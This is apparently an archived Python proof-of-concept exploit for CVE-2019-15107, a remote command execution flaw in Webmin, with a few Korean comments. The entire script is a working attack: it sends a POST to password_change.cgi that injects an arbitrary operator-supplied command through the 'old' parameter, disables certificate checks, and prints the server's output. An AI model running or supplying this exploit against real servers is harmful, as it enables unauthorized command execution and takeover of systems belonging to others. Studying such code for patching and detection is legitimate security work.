# Archived for authorized security research only. # Source: https://github.com/jini135wii/CVE-2019-15107 (see README for attribution/license) import requests import sys import argparse def exploit_webmin(target, command): url = f"https://{target}/password_change.cgi" # HTTPS 인증서 무시 requests.packages.urllib3.disable_warnings() # CVE-2019-15107 payload # old 파라미터에 명령어 입력 data = { 'user': 'rootxx', 'pam': '', 'expired': '2', 'old': command, # 명령어 'new1': 'test2', 'new2': 'test2' } headers = { 'Referer': f'https://{target}/session_login.cgi', } try: response = requests.post( url, data=data, headers=headers, verify=False, timeout=5 ) if response.status_code == 200: print("[+] Exploit sent!") print("[+] Response:") print(response.text) return True else: print(f"[-] Status code: {response.status_code}") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC') parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)') parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)') args = parser.parse_args() print(f"[*] Exploiting Webmin at {args.target}") print(f"[*] Command: {args.command}") exploit_webmin(args.target, args.command)